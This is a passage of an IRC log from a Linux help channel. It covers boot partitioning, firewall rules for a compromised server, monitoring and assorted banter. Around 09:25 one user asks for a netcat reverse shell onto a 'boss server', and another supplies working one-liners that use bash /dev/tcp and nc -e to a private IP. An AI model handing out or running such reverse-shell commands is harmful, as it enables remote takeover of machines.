want 07:01 < hexnewbie> Nexilva: So I had to install EFI Grub to make my system bootable 07:01 < Nexilva> Hm. 07:02 < lessthan0> but they just call it MBR vs GPT 07:02 < Nexilva> I see. 07:02 < my_mind> It’s in dolphin 07:02 < pingfloyd> Nexilva: doesn't their installer have an option for using LVM 07:03 < Nexilva> It does 07:03 < Nexilva> I selected boot flag and lvm flag for MBR partition 32gb for / 07:03 < Nexilva> I selected manual paritioning in the installer 07:04 < pingfloyd> gpt is going to be more future proof 07:04 < pingfloyd> (in short) 07:04 < lessthan0> hexnewbie I understand. technically it is still MBR even if you have a UEFI bootloader 07:04 < lessthan0> that is just a fact 07:05 < pingfloyd> if you're using uefi, you want gpt 07:05 < my_mind> I just realized that after I installed remmina with snap, the loop devices showed up 07:05 < Nexilva> I am not. 07:05 < searedvandal> I'm lazy, I just go with the automatic partitioning on laptops and stuff like that. don't see a need to mess around with manual partitioning unless I'm installing arch or something like that. 07:05 < Nexilva> I am using CMS legacy bios option in BIOS config 07:05 < lessthan0> to say that UEFI will not boot from MBR but will boot from GPT is missing the point 07:05 < lessthan0> since the names are misused 07:05 < Nexilva> Itś fine, np, I can always reinstall stuff, no data on here, and all my stuff is in github anyway 07:05 < Nexilva> I restore configs and all that from there. 07:06 < Nexilva> *shrug* 07:06 < Nexilva> I can reformat this countless times, np 07:06 < pingfloyd> Nexilva: why do you have to revert to using CMS legacy? 07:06 < Nexilva> I cant remember. 07:06 < pingfloyd> are you dual booting? 07:06 < Nexilva> It was a few years ago when I was trying to install a replacement hdd in here as the original died 07:06 < Nexilva> I might. 07:06 < Nexilva> With windows 7 07:06 < Nexilva> later on 07:07 < Nexilva> Because the laptop refuses to boot with any hdd/ssd if UEFI/secure boot is on 07:07 < Nexilva> IIRC 07:07 < Nexilva> so I had to disable all that goofiness to put a new disk in 07:07 < pingfloyd> x64 win 7 should support uefi 07:08 < lessthan0> you should in theory have a UEFI boot loader in MBR that can read the next boot loader after the MBR on all systems that are UEFI only 07:08 < pingfloyd> enabling secure boot and uefi are two separate obstacles 07:08 < lessthan0> so if you have GPT then you must have a bios or MBR bootloader that reads GPT 07:08 < pingfloyd> plenty of OSes don't support secure boot, but support uefi fine 07:08 < lessthan0> you can only have one set of keys on most UEFI machines 07:08 < Nexilva> I can reinstall ita gain tomorrow 07:08 < Nexilva> np 07:09 < Nexilva> letś check this out for now 07:09 < lessthan0> pingfloys you are %100 correct 07:09 < Nexilva> I might not want to stay with lubuntu 07:09 < lessthan0> pingfloy you are %100 correct 07:09 < Nexilva> Who knows. 07:09 < lessthan0> typo sorry 07:09 < Nexilva> just giving it a shot. Iḿ tired tonight just need something to work 07:09 < Nexilva> I can figure out stuff tomorrow with UEFI if I have to reinstall np. 07:09 < Nexilva> learning. 07:09 < Nexilva> important data is online, I canr estore using git, np 07:10 < pingfloyd> for example, since I run debian, I have to turn off secure boot, but all other uefi features work fine. I don't really care about restrict boot anyway. 07:10 < pingfloyd> it's a racket 07:10 < mib_mib> hi all - i'm administering a linux machine - where we have 'R' installed, however, i'm supposed to make it so that users cannot install packages themselves (even to their user dirs), but that only admins can install R packages - how can i set this up? 07:11 < lessthan0> secureboot is in theory for preventing root kits and malware on shitty windows security 07:11 < Nexilva> 32gb /, 70gb /home, and 9.x gb swapspace, now all 111 gb is used up 07:11 < lessthan0> but windows is better now 07:11 < Nexilva> new ssd in this lappy 07:11 < Nexilva> I selected lvm for / and /home, and also boot flat for / 07:11 < Nexilva> partitioning done for now I think 07:11 < lessthan0> so all it does now is lock down enterprise thin clients and cock block linux for much newer machines in the consumer market 07:12 < pingfloyd> it also has had vulnerabilities 07:12 < bls> mib_mib: the best you can do is something like chmod o-rwx on the tool to install packages. they'll still be able to run commands within a source tree they've downloaded 07:12 < lessthan0> and windows can definitely get a virus with secure boot since secure boot does not = virus protection 07:13 < lessthan0> yes I discovered a vulnerability in secure boot when it was new 07:13 < lessthan0> on asus 07:13 < Nexilva> I learned once how to write my own secure boot signing keys 07:13 < lessthan0> because asus loves add features 07:13 < Nexilva> complex process 07:13 < mib_mib> bls: the issue is that, installing packages is run from inside of 'R' studio, i.e. `install.package("somepackage")` so thats pretty hard to disable 07:13 < lessthan0> interesting 07:14 < lessthan0> I though you just clear the keys and let it ride 07:14 < lessthan0> the motherboard does it right? 07:14 < Nexilva> *shrug* don remember 07:14 < lessthan0> or the os does it? 07:14 < mib_mib> i guess i can shutoff the server from the outside world, or block the package repo maybe 07:14 < Nexilva> os has to have keys I think 07:14 < Nexilva> dunno 07:14 < lessthan0> yeah so you clear the keys and windows installer puts keys in there 07:15 < bls> ah, so it autoinstalls on first import/usage 07:15 < lessthan0> then makes signed keys from that key 07:15 < lessthan0> and stores the two keys in the motherboard 07:15 < Nexilva> I had to do it for debian 07:15 < Nexilva> back then only fedora and ubuntu had paid to get keys or something 07:15 < bls> might be able to supply an R binary with that feature disabled 07:15 < Nexilva> other distros did not work with SB 07:15 < lessthan0> the point is that you don't need to bring your own keys 07:16 < Nexilva> perhaps not now 07:16 < lessthan0> only need to turn off security while windows does it automagically 07:16 < Nexilva> oh man, some dialog just popped and closed 07:16 < lessthan0> then turn secure boot on 07:16 < Nexilva> while I was typing in here hit space and now the installer window is gone 07:16 < Nexilva> uhm. 07:16 < lessthan0> I found out there are 4 ways to sign the keys 07:16 < Nexilva> I dunno if itś installed yet 07:16 < lessthan0> so secure boot is not just one system for all 07:17 < lessthan0> but whatever you choose you are stuck with that 07:18 < Nexilva> well, lets reboot 07:18 < Nexilva> I dunno what happened. 07:18 < lessthan0> the problem I found was that asus had a windows application that could write anything from the bios if you were logged in as administrator 07:18 < Nexilva> hopefully itś installed 07:18 < lessthan0> including the flag that turns off secure boot 07:19 < lessthan0> or delete keys 07:19 < lessthan0> that would automatically disable secure boot since no keys 07:19 < lessthan0> so in theory a virus could %100 defeat secure boot on any asus motherboard 07:25 < my_mind> Yo 07:26 < my_mind> Linux is so buggy but I still love it 07:27 < morfin> hello 07:27 < jim> misternumberone, oh, in that case the firmware should be installed... and it looks like there wasn't a firmware failure, I guess you didn't see one 07:27 < searedvandal> my_mind, whats buggy about it? 07:27 < morfin> any clue how can i switch to other tty when running omxplayer in tty1? 07:27 < morfin> ctrl+alt+f2 does not work 07:27 < okee> Anyone have thoughts on the System76 Oryx Pro? I tried posting in #system76, but the channel is dead 07:28 < pingfloyd> morfin: did you try just alt+f2 07:28 < misternumberone> jim: someone is giving me a link to a package set with r8168 and all the dependencies 07:28 < okee> Just realizedy it is passed my bed time. Please memoserv me if you have something profound to say. 07:28 < morfin> yes 07:28 < pingfloyd> okee: don't know, but I read recently that system 76 moved their manufacturing from China to the US 07:29 < lessthan0> buggy depends on your distro and your hardware 07:29 < [R]> pingfloyd: if you call opening a box from clevo and slapping their logo on the contents "manufacturing"... 07:29 < lessthan0> usually buggy means you are on a bad distro or a new unstable distro 07:29 < my_mind> searedvandal: Kubuntu just decided to show a dir on the left pane of Dolphin named loop device 07:29 < lessthan0> anything unfinished 07:29 < lessthan0> or it could be you are using unsupported hardware 07:30 < ziggylazer> jim, this is one line of an email I got 1h ago "We apologize for the delay in response. Thank you for reporting this vulnerability. We have determined to reward you with a $2,500.00 bounty. Please let us know how you would like to receive payment: tokens, Check by mail, Paxum, Bitcoin, ePayments, CosmoPayment, or ACH (if in USA)." This is BIG day for me ;) 07:30 < pingfloyd> my_mind: how did Kubuntu decide? 07:30 < lessthan0> when I was new to linux I called it buggy but most of that was not knowing the commands to fix my own problems 07:30 < my_mind> I installed a snap package 07:30 < my_mind> Remmina 07:31 < pingfloyd> sounds like the snap package messed things up then 07:31 < my_mind> See remmina is installed in a folder called snap 07:31 < lessthan0> remmina 07:31 < lessthan0> woops wrong windows 07:31 < [R]> snaps for remmina 07:32 < pingfloyd> oh snap! 07:32 < my_mind> When I click the loop device dir, I get redirected to the remmina dir 07:32 < searedvandal> my_mind, snaps are mounted as loop devices 07:32 < searedvandal> so no bug 07:32 < pingfloyd> haha 07:32 < [R]> you're a loop device 07:32 < my_mind> Ok no bug, 07:32 < lessthan0> so what you are saying is that you are having problems with remmina and you assume it is a bug 07:32 < morfin> sooo 07:32 < lessthan0> and you blame GNU linux 07:32 < my_mind> But why did it show up on dolphin 07:33 < lessthan0> linux dolphin 07:33 < pingfloyd> it's so buggy that a program works like it is supposed to 07:33 < searedvandal> my guess, because dolphin shows whatever is mounted 07:33 < my_mind> Kubuntu file manager dolphin 07:33 < lessthan0> I have two keyboards and two boxes this is confusing me 07:34 < my_mind> So snap packages are mounted like usb devices? 07:34 < lessthan0> life was easier before I got sober 07:34 < lessthan0> I feel drunk all the time but like reverse drunk 07:34 < lessthan0> does that make sense? 07:34 < pingfloyd> no 07:34 < pingfloyd> just get stoned and call the whole thing off 07:35 < my_mind> Haha 07:35 < lessthan0> I got super sober 07:35 < my_mind> I read it as “super soldier” 07:35 < pingfloyd> I think being totally sober is going to seem like a crazy high for awhile 07:36 < my_mind> Whitdrawal 07:36 < pingfloyd> your brain chemistry has to adjust 07:36 < lessthan0> its been a long time already 07:36 < my_mind> However u spell it 07:37 < pingfloyd> you definitely don't spell it 'u' 07:38 < lessthan0> uboot me to bermuda 07:38 < pingfloyd> unotbootin 07:39 < my_mind> Whatever you say, Tracertfloyd lol 07:39 < my_mind> Kidding 07:39 < pingfloyd> nmapfloyd 07:39 < lessthan0> there is a tshirt that says "do you fsck? 07:40 < my_mind> Nice! 07:40 < epicmetal> "down to fsck" would be better 07:40 < pingfloyd> you wan' numba one fscky? 07:40 < lessthan0> yeah probably already exists 07:40 < my_mind> Should say NSFW on the back 07:40 < epicmetal> not suitable for windows 07:41 < lessthan0> I think this is how FCUK got rich 07:41 < lessthan0> french connection UK 07:41 < my_mind> epicmetal: that’s more like it 07:41 < seven-eleven> hi 07:41 < my_mind> seven-eleven: bye 07:41 < my_mind> seven-eleven: hello what’s up 07:43 < Dagmar> fsck is for people who reboot. ;) 07:43 < my_mind> Only after kernel update 07:44 < lessthan0> when you have a bad day in IT https://www.youtube.com/watch?v=heVtxRwV23g 07:44 < seven-eleven> i want to get notified if a host behind a NAT is down. I think nagios & co don't help because the host has no free port behind the NAT. is sending a ping or connecting to some socket every 30 minutes to my remote server a decent solution and on my remote server I'd send out an email if after more than 2 hours no signal was received from the NATed host 07:44 < pingfloyd> there's good days in IT? 07:45 < lessthan0> the good day is hiding and getting paid not getting fired for hiding 07:45 < lessthan0> pro tip 07:45 < Dagmar> seven-eleven: I wouldn't call it a _good_ solution, but if it works, go for it 07:46 < pingfloyd> seven-eleven: what do you mean by no free port behind the nat 07:46 < my_mind> pingfloyd: if computers work great , then IT is not getting paid. If the computer needs fixing the. IT gets stressed out trying to solve the issue. So no good days. 07:47 < Dagmar> I don't know about you but I always got paid if the computers worked or not 07:47 < my_mind> Lucky!!!! 07:47 < my_mind> How’d you manage that? 07:48 < Dagmar> Not paying me would generally be a very bad idea 07:48 < pingfloyd> seven-eleven: https://support.nagios.com/forum/viewtopic.php?t=24486 07:48 < seven-eleven> Dagmar, i think instead of using ping i'd create a simple socket in python and if the NATed host didn't connect I send out a notification 07:48 < my_mind> You beat them up ? Are you daredevil? 07:49 < Dagmar> ...considering that I was responsible for DNS (for 35,000 clients, and 400+ domains), the entire email routing system, the entire public web environment and most of the internal hosts, the load balancer, and several hundred VMs 07:49 < afidegnum> in order to improve security i have blocked most of the used ports to allow few common ones. but i noticed i can't access the web... port 80 here are my ip tables https://hastebin.com/ugakavagoy.hs 07:49 < Dagmar> my_mind: It's called having a job 07:50 < my_mind> I have a job, people call me to either build a network or fix one 07:50 < Dagmar> seven-eleven: If you can connect to your monitoring host _from_ the host being monitored, just create a cron job that invokes ssh to simply touch a file in a joe user's directory every minute 07:50 < seven-eleven> pingfloyd, yeah vpn would be possible with nagios 07:50 < afidegnum> firewall rules, sorry 07:50 < Dagmar> seven-eleven: Then you can just replace that ping test with one that makes sure the timestamp in the joe user's directory is no more than say, five minutes old 07:51 < Dagmar> Remember, Nagios tests are really only limited by whatever sick and twisted scripts you care to write 07:51 < Dagmar> Just make sure they ALWAYS, ALWAYS exit within a few seconds with the correct exitvals 07:51 < afidegnum> what am i doing wrong, what can be corrected? 07:52 < Dagmar> afidegnum: Your'e not actually allowing the things you think you are 07:52 < Dagmar> afidegnum: ...and many of these rules are a bit insane 07:53 < Dagmar> afidegnum: Per example, what on earth are you even allowing _telnet_ for 07:53 < afidegnum> telnet will dynamically be closed, 07:53 < afidegnum> telnet or ssh ? 07:53 < Dagmar> afidegnum: ...and this is in your OUTPUT chain? So... a packet going out from your machine would be allowed if the source port were 23, and an ESTABLISHED connection? 07:54 < Dagmar> How's it ever going to reach the ESTABLISHED state to begin with? 07:54 < Dagmar> As far as established connections are concerned, you just need _one_ rule that allows ESTABLISHED,RELATED 07:54 < afidegnum> ok 07:55 < pingfloyd> afidegnum: what are trying to accomplish? 07:55 < Dagmar> You allow packets on the INPUT chain for the destination port of the service you want to open 07:55 < Dagmar> ...then your OUTPUT chain will have a rule that just allows ESTABLISHED,RELATED packets for everything 07:56 < afidegnum> i was trying to investigate a malicious script which were communicating to series fo servers on a 40 000 - port range, 07:56 < afidegnum> even though i managed to remove the script, 07:56 < afidegnum> it founds it way in, 07:56 < afidegnum> i removed all related applications so i can do backup 07:56 < Dagmar> Then you didn't actually remove it properly 07:56 < afidegnum> but it's not a straightofrward thing 07:56 < afidegnum> so i m planning to wipe everything and a fresh installation 07:56 < afidegnum> but this has to be done graudally 07:57 < Dagmar> Once someone's gotten in and has run something nasty, the only real way to be safe is to restore from a backup 07:57 < Dagmar> Then, after you've returned the system to at least a _clean_ state, you start comparing the image you took before you restored the backup, with the backup 07:57 < afidegnum> so i want to block all rules for the mean time to prevent the malicious script to send request out indiscriminately 07:57 < Dagmar> Does this host need to make connections outbound at all? 07:57 < Dagmar> Like, does it need to initiate connections? 07:58 < Dagmar> If it's just a webserver, it probably doesn't need the ability to initiate connections to anything but some mysql backend and possibly a DNS server 07:58 < afidegnum> yes, it's a video conference and a an internal web hosting for a coporate organisation 07:58 < Dagmar> Define what it's allowed to do _in plain English_ and then write the policies that enforce that 07:59 < Dagmar> You're not likely to get anywhere by just trying to write a bunch of rules, willy-nilly 07:59 < afidegnum> so far i noticed some internal services are lelated, being the reason why i allow those portes, and after that, most of the basic services, postgres, kvm, nginx, etc... 07:59 < Dagmar> KVM isn't a "service" like that 08:00 < afidegnum> yes, a virtualization stuff but it also shut down 08:00 < Dagmar> More likely you simply couldn't reach the management port anymore 08:01 < Dagmar> Make your life easier... Use ssh to connect virt-manager to it. 08:01 < Dagmar> virt-manager can ssh tunnel just dandy 08:01 < afidegnum> Dagmar: i don't get that part, can you explain ? 08:02 < Dagmar> KVm isn't even a little bit dependent upon the network 08:02 < afidegnum> which virtual manager? 08:02 < afidegnum> where there is proxmox 08:02 < afidegnum> which manage the kvms 08:02 < Dagmar> I assumed you were talking about virt-manager (a vSphere-like GUI for KVM) 08:02 < afidegnum> yes i m using proxmo 08:02 < afidegnum> proxmox 08:03 < afidegnum> but i have allowed its ports 08:03 < Dagmar> I don't use that one but I'm pretty sure it should also be able to connect via SSH 08:03 < afidegnum> no it connects via web iterface on port 8006 08:03 < Dagmar> So... unless that's protected by SSL/TLS, that's a major nono 08:04 < Dagmar> If you are already dealing with malicious activity, then unencrypted auth traffic over the network should be completely off the table 08:04 < afidegnum> yes, that's what i m planning to do after complete reinstallation 08:04 < Dagmar> You need to go find who is responsible for netsec in your organization and ask them for help 08:05 < afidegnum> what i want todo now is to allow the server to be active for some time, then one week end, i will nuke everthing after backup 08:05 < afidegnum> i m supposed to be in charge for the netsec :) 08:05 < yskapell> good morning all 08:05 < Dagmar> hhahahahaha 08:06 < pingfloyd> so you don't have backups? 08:06 < yskapell> How can I disable passwd expiring for specific users using PAM? 08:06 < afidegnum> i didn't backup the main image, just the core used services 08:06 < afidegnum> i was in a rush before i realize, we are in production mode, 08:07 < Dagmar> yskapell: You don't really do that using PAM unless they're all LDAP users or something 08:07 < pingfloyd> what do you mean by backing up the core used services? 08:07 < M3rd> Hei..... 08:08 < Dagmar> yskapell: For normal users you can just go edit /etc/shadow, or in a more civilized environment that's one of the things `passwd` actually does 08:08 < yskapell> Dagmar: usign chage command did not work for a local user. 08:08 < afidegnum> pingfloyd: that's VM, web files, etc.. 08:08 < yskapell> the users use ssh keys and not their passwd 08:09 < pingfloyd> so the host isn't backed up? 08:09 < pingfloyd> are all you services ran in VMs? 08:09 < pingfloyd> your 08:10 < afidegnum> no, one vm and one web service 08:10 < afidegnum> web service with it's dependents, nginx.. Dbs etc. 08:10 < pingfloyd> is all the important data backed up? 08:12 < afidegnum> yes 08:13 < yskapell> Dagmar: any doc on how to disable passwd expire on PAM? 08:14 < afidegnum> Dagmar: what is suggested to do for the mean time ? 08:19 < pingfloyd> afidegnum: you never answered if the host is backed up 08:19 < afidegnum> pingfloyd: yes, i backed the host as well 08:21 < pingfloyd> what is preventing you from restoring it? 08:21 < my_mind> Mint 19 has no minimalist install :( 08:21 < pingfloyd> mint, eww 08:22 < afidegnum> yes, it can be restored but there were other services which were not backed up 08:22 < afidegnum> only 2 important ones, 08:23 < my_mind> What’s wrong with mint? It’s lightweight cool looking, makes duck noises when snapping windows 08:23 < afidegnum> my_mind: can you give arch a try? :) 08:24 < my_mind> I’m not a genius 08:24 < afidegnum> pingfloyd: and i m afraid even what i backed might also be compromized, 08:24 < afidegnum> because it wasn't long before i backed them 08:25 < afidegnum> and it was recent till i discovered the unusualities means they might be working in the background for some times 08:25 < afidegnum> there were bunch of wordpress scripts 08:25 < my_mind> afidegnum: my phone wallpaper says Arch Linux. Does that count? 08:27 < afidegnum> ? 08:27 < afidegnum> my_mind: are you installing the OS on your phone ? 08:28 < GlenK> hey there. sorta have centos set up as a router. I can do mtr and ping from private machines on my network 08:28 < GlenK> but if I try and telnet to port 80 of somewheres then it tells me no route to host 08:28 < Elodin> Whenever i need to run a sudo command i need to type [sudo !!]; which will promt me the last command entered prepended with sudo, but i sill have to type enter. I wonder if here is a way to have the enter automatically 08:29 < GlenK> I suppose I have firewalld set up wrong? I set my private interface to be the internal zone. 08:29 < GlenK> maybe that's the wrong thing to do? 08:31 < my_mind> afidegnum: no I’m not. It was a joke 08:31 < yskapell> How can I disable passwd expiring for specific users using PAM? 08:33 < afidegnum> pingfloyd: what do you suggest? 08:33 < my_mind> My phone wallpaper really is a cool Arch wallpaper, but that’s as far as I’m willing to go. Arch is complicated, let me learn normal Linux first , Debian forks 08:34 < my_mind> arch has different syntax 08:34 < notmike> my_mind: no it doesn't 08:35 < notmike> Arch doesn't have any syntax 08:35 < afidegnum> yes, but those syntaxes are minimal thank the most used Unix ones. if you are referring to some stuffs like pacman, yaourt etc... 08:35 < notmike> Which aren't anything to do with syntax 08:35 < ddoobb> How can you backup an EOL release system? I can't seem to install my backup software (veeam) because it needs some packages that can't be installed (because EOL) 08:36 < my_mind> Yes those pacman ... 08:37 < my_mind> How can I appreciate Arch if I haven’t learned Debian 08:37 < my_mind> I need to walk before running 08:38 < _KaszpiR_> try gentoo 08:38 < _KaszpiR_> ;D 08:38 < _KaszpiR_> it will teach you how to crawl 08:39 < my_mind> That iso is waiting in my iso folder, waiting to get installed 08:40 < lessthan0> can someone explain "this solution is not atomic"? 08:40 < lessthan0> from man mount 08:51 < Sitri> lessthan0: "atomic" means an instruction or command is indivisable, once it starts running it will finish running without anything every having the chance to interrupt it or cause a race condition. 08:52 < Sitri> Or in other words, the solution can be subject to a race condition 08:52 < searedvandal> like mkdir. not matter how many mkdir /random/dir you do in parallel, only one will run and succeed 08:53 < notmike> 'atomic' 08:58 < pingfloyd> means it comes with a jetpack 09:01 < pingfloyd> adamus1red: seems like you only option is to do a fresh install and carefully restore data (don't restore any binaries), and carefully scrutinize any configuration files/data you restore. 09:02 < cloudbud_> how cxan i execute a shell script as daemon 09:02 < pingfloyd> adamus1red: since there's a good chance the backup contain compromised binaries and probably some system configuration (like changes that aid the attacker). 09:03 < jim> ziggylazer, nice job :) 09:05 < jim> cloudbud_, a daemon is something that lies in wait for a request to connect, once connected, it spawns a process that runs the individual connection to that one client 09:05 < cloudbud_> jim : i have a bash script i want to run it as service 09:06 < jim> cloudbud_, a network service? 09:06 < pingfloyd> cloudbud_: https://stackoverflow.com/questions/19233529/run-bash-script-as-daemon 09:06 < cloudbud_> jim : like a normal service 09:07 < jim> ok, how would a client ask this service for attention? 09:11 < notmike> jim: is this the year? 09:16 < jim> this is a year, yes 09:17 < notmike> jim: have you read Marcus Aurelius? 09:17 < jim> nope 09:18 < jim> note, be right back 09:22 < TheWild> hello 09:25 < TheWild> how to make a reverse shell via netcat and still have bash prompt? 09:28 < jim> TheWild, not sure I understand... what's a reverse shell? how would you use one? 09:29 < Wulf> TheWild: do you have socat? 09:29 < Wulf> TheWild: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ 09:29 < pingfloyd> TheWild: https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf 09:30 < TheWild> my netcat has no -c nor -e :( :( :( 09:31 < Wulf> TheWild: you can create a named socket 09:31 < TheWild> I tried via coproc though 09:31 < jada> hey, I have 15 files, myzip.7z.001 .. myzip.7z.15 ; how do I extract them? Should it be 7z e myzip.7z.001, or 7z e myzip.7z.* ? 09:32 < jada> it's single archive broken down into 15 10GB blocks 09:32 < Wulf> TheWild: https://www.commandlinefu.com/commands/view/9052/execute-a-shell-with-netcat-without-e 09:32 < pingfloyd> TheWild: so like this: bash -i >& /dev/tcp/192.168.100.113/4444 0>&1 09:33 < Wulf> jada: try it. 09:33 < Wulf> jada: if neither works, try this (untested): cat myzip.7z.* | 7z x - 09:33 < jada> I cannot afford to screw it up 09:34 < jada> it's 150GB+ of data that I've been uploading last 3 days 09:34 < Wulf> jada: get a better connection 09:34 < TheWild> pingfloyd: thanks! Points out I missed the -i option in bash 09:35 < Wulf> jada: how about you create a new user who cannot overwrite those files? 09:35 < TheWild> thank you Wulf too for the good articles 09:35 < Wulf> TheWild: https://duckduckgo.com/ 09:37 < pingfloyd> TheWild: that was how to do it without nc on the target 09:38 < pingfloyd> TheWild: with nc: nc -lvp 4444 ; nc 192.168.100.133 -e /bin/bash 09:38 < TheWild> nc on my boss server won't work anyway because of missing libraries :P 09:39 < pingfloyd> it's even cooler to do without nc 09:39 < jada> 7za x myzip.7z.001 -o/path/extracted/ 09:39 < pingfloyd> one less dependency 09:39 < jada> that started and it seems to be working 09:40 < znh> pingfloyd, how 09:40 < jada> gonna grab a cake now 09:40 < jada> that's my recognition 09:42 < epitamizor> manjaro seems popular distro now 09:43 < post-factum> it doesn't mean it is worth using it 09:44 < Elodin> yeah, i installed it, but run away from it after only one week 09:44 < epitamizor> why 09:44 < azarus> it's like arch, but bad 09:45 < epitamizor> because it has systemd? 09:45 < azarus> nope 09:45 < azarus> arch also has systemd 09:45 < pingfloyd> arch has systemd 09:45 < Elodin> it got to my knowledge their packages are updated at it's own whim? 09:45 < pingfloyd> arch worships systemd 09:45 < azarus> pingfloyd: pretty much 09:46 < epitamizor> i'm looking for distro that doesn't crash every time i try to configure stuff 09:46 < pingfloyd> if systemd were Hitler, they'd be Goebbels 09:47 < Elodin> why is systemd so badly viewed? 09:47 < azarus> Elodin: platitude of reasons 09:47 < epitamizor> every systemd distro I've used has never been stable 09:47 < azarus> Elodin: http://without-systemd.org/wiki/index.php/Arguments_against_systemd 09:47 * azarus hidews 09:47 < azarus> hides* 09:47 < Elodin> what are it's alternatives? 09:49 < azarus> openrc, runit, sysv 09:49 < azarus> (others) 09:49 < epitamizor> holy water and crusafix 09:50 < pingfloyd> worst part is the scope creep 09:56 < winsoff> I hope that this is not offensive to anyone, but can I create windows bootloader EFI partitions using linux utilities? Or at least dump them and move them around after they've already been created? I have a partition nightmare going on that I need to fix, and so I assume dd and gparted can help more than windows utilities. 09:56 < lopid> my eyes 09:56 < jada> I got offended a bit 09:56 < jim> who says they're yours?! 09:57 < lopid> they possess me 09:57 < Namarrgon> you can move around and recreate the ESP, it doesn't matter which OS created it 09:57 < jim> then you're theirs! 09:58 < pingfloyd> winsoff: what's the real issue? 09:58 < winsoff> Namarrgon: Is there any documentation I can read to understand the difference? 09:58 < winsoff> pingfloyd: let me grab the data 09:58 < Namarrgon> what difference? 09:58 < winsoff> Namarrgon: Sorry. Between ESP and whatever legacy/bios option is used. 09:59 < winsoff> pingfloyd: So, had an old windows install on disk 'old', and then put in disk 'new' to my new machine while also plugging old into slot 1 (new is in slot 0). 09:59 < jim> consider copying files (cp, rsync) rather than imaging (dd) 09:59 < winsoff> Installed windows 7 and upgraded to windows 10 to get the proper activation, yadda yadda. System's booting with legacy/bios mode. Run MBR2GPT... 09:59 < winsoff> And now this. https://i.imgur.com/q7s2Rmo.png 10:00 < Namarrgon> so what you're really asking is "how to convert windows from legacyb boot to UEFI"? 10:00 < winsoff> The system seems to be trying to boot off of old, while new's all sorts of screwed because the prior system partition for booting legacy/bios is still there, and ESP is just lounging around. msinfo32 shows that I'm still booting legacy/BIOS. 10:00 < winsoff> Right, except I've run the previous utility (mbr2gpt), and it didn't work. D= 10:00 < winsoff> And also screwed up my BCD and is using the bootloader from my old disk, for no reason, since I've got a perfectly good boot partition on the new one. 10:00 < Namarrgon> reinstall windows cleanly in UEFI mode 10:01 < winsoff> Namarrgon: this is a viable option, but couldn't I just move the ESP to the front of the disk? 10:01 < winsoff> and delete the other disk's bootloader part, since I don't need it? 10:01 < Namarrgon> if it used to boot in legacy mode then there is no ESP 10:01 < winsoff> Did you load up the image? I see one on disk 0 10:01 < Namarrgon> you can't just copy the mbr to the ESP and expect it to work 10:02 < notmike> That's bad 10:02 < winsoff> Do you mean the reverse of that? I guess so. Sorry to be ignorant, but MBR2GPT seems to be able to do this--how does it convert the disk to GPT? 10:02 < Namarrgon> converting the partition type is one thing, converting windows another 10:03 < winsoff> Interesting. I wonder if I can just delete ESP, unplug disk 1 (mehhhh) and then run the utility--but it seems like the current boot partition on disk 0 is not set as the "system" bootloader, or something, so I'm not certain. 10:03 < Namarrgon> try ##windows, your question has nothing to do with linux anymore 10:03 < winsoff> Well, I'm wondering if linux utilities can do all of these things--unless you mean that windows itself has configurations that need GPT 10:04 < winsoff> GPT-specific configuration* 10:04 < Namarrgon> you can convert to disk to gpt, yes. but that won't convert windows. 10:04 < Namarrgon> yes, you need to look at the windows internals 10:05 < winsoff> Ah, dang. 10:05 < Namarrgon> https://docs.microsoft.com/en-us/windows/deployment/mbr-to-gpt 10:07 < winsoff> Namarrgon: to clarify, I've run that--that's what ended with me here. I think it was somehow seeing the other disk (despite me specifying which disk to use), but i'll go from there. 10:09 < winsoff> Back soon! 10:17 < lessthan0> I found out how GREP got its name 10:18 < lessthan0> Global Regular Expression Print 10:18 < lessthan0> before C was used to compile the text editor 10:19 < lessthan0> so GREP was a machine code hack for find and print or find and mark line number 10:19 < lessthan0> then later is was compiled with C 10:20 < lessthan0> probably turned it into bloatware by adding a few extra bytes of machine code 10:21 < pingfloyd> https://en.wikipedia.org/wiki/Grep#History 10:27 < sauvin> Except that Version 4 Unix HAD a C compiler already. 10:28 < sauvin> Grep would have been written in C. 10:31 < GlenK> yay. I got my linux router working 10:31 < epitamizor> that's the easy part 10:32 < GlenK> ha, wasn't for me. I'm new to this whole firewalld thing 10:34 < GlenK> plus scheduling around my room mate was sucky. it's almost 2 in the morning right now 10:36 < cloudbud> what is a efficient way to find the open file descriptors in linux ? lsof or cat /proc/processid/fd |wc -l 10:37 < Triffid_Hunter> cloudbud: well lsof basically does ls -l /proc/*/fd but prints it differently.. you can't cat directories :P 10:38 < epitamizor> wc just counts lines of a file 10:40 < cloudbud> sorry ls Triffid_Hunter not cat 10:40 < cloudbud> efficient way will be ? 10:42 < notmike> Is there an easy way to mimic wc in C? 10:42 < epitamizor> ofcourse 10:45 < peetaur2> just count how many \n and then subjectively add 1 or not depending on whether there was a \n at the last line so different ways of input to wc will have inconsistent results and therefore be equivalent to the cli version 10:46 < ExtremeFMan> hrrghfnh... I have misplaced my root password 10:47 < peetaur2> ExtremeFMan: want mine? 10:47 < peetaur2> until you find yours 10:47 < avu> hunter2? 10:48 < ExtremeFMan> I don't think yours will work 10:48 < epitamizor> anyone use apple-tv 10:48 < Pentode> lol 10:48 < Pentode> time for single user mode 10:49 < Enitin> No, I use good products. 10:49 < epitamizor> whats better 10:49 < Triffid_Hunter> peetaur2: my wc seems to simply count newlines 10:49 < Pentode> i'd rather die than buy an apple product at this point. 10:50 < Pentode> :| 10:50 < bipul> Apple is a brand. 10:50 < Triffid_Hunter> peetaur2: echo aaa | wc -l -> 1, echo -n aa | wc -l -> 0, echo -n $'aa\nbb' | wc -l -> 1, echo $'aa\nbb' | wc -l -> 2 10:50 < Armand> A shitty brand.. 10:51 < sauvin> It's contrary to channel policy to bash other operating systems, hardware platforms and et cetera. That said, I'm not bashing when I state plainly I will never own another Apple product. 10:51 < bipul> Yes only rich can afford , not poor like us. 10:52 < Armand> Speak for yourself 10:52 < sauvin> I just did. 10:52 < Armand> Not you <3 10:52 < sauvin> Ah. 10:52 < bipul> lol 10:53 < bipul> just kidding. 10:53 < sauvin> The money doesn't have that much to do with it. Not directly. I find it significant, however, that none of my no-name Walmart computers have ever been in the shop, most of them I've never even cracked open, but my girlfriend's Mac stuff goes back in some two or three times a year. 10:54 < Armand> Never been in the shop? Where did you buy them then.. ?? Did you even buy them ?!?! 10:54 < Armand> :P 10:54 < bipul> -> ? why not > Triffid_Hunter 10:55 < sauvin> Yes, I bought them. I replaced a hard drive in a laptop I bought from Best Buy about fifteen years ago, and its battery is dead, but it's still good for watching movies with. 10:56 < bipul> I guess there is a difference between the freeBSD 